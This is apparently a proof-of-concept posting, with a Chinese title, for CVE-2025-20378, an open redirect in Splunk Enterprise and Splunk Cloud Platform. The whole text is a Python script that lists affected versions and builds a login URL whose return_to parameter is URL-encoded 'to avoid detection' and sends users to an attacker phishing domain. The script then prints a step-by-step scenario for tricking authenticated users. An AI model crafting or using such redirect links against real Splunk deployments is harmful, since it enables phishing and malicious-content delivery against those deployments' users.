CVE-2025-20378 Splunk Enterprise/Splunk Cloud Platform 开放重定向漏洞

import urllib.parse # CVE-2025-20378 PoC - Splunk Open Redirect # Target: Splunk Enterprise < 10.0.1, 9.4.5, 9.3.7, 9.2.9 # Target: Splunk Cloud Platform < 10.0.2503.5, 9.3.2411.111, 9.3.2408.121 def generate_malicious_url(target_url, malicious_domain): """ Generate malicious URL for open redirect exploitation Args: target_url: Target Splunk instance URL malicious_domain: Attacker's controlled domain for redirect Returns: Malicious URL string """ # Encode the malicious domain to avoid detection encoded_redirect = urllib.parse.quote(malicious_domain, safe='') # Construct the malicious URL with return_to parameter malicious_url = f"{target_url}/en-US/account/login?return_to={encoded_redirect}" return malicious_url # Example usage if __name__ == "__main__": target = "https://victim-splunk.example.com" attacker_domain = "https://malicious-phishing-site.com" poc_url = generate_malicious_url(target, attacker_domain) print(f"Malicious URL: {poc_url}") print(f"\nAttack Scenario:") print(f"1. Attacker crafts malicious URL with return_to parameter") print(f"2. Attacker tricks authenticated Splunk user into clicking the link") print(f"3. User visits the malicious URL") print(f"4. After login, user is redirected to attacker's site: {attacker_domain}") print(f"5. Attacker can perform phishing attacks or serve malicious content")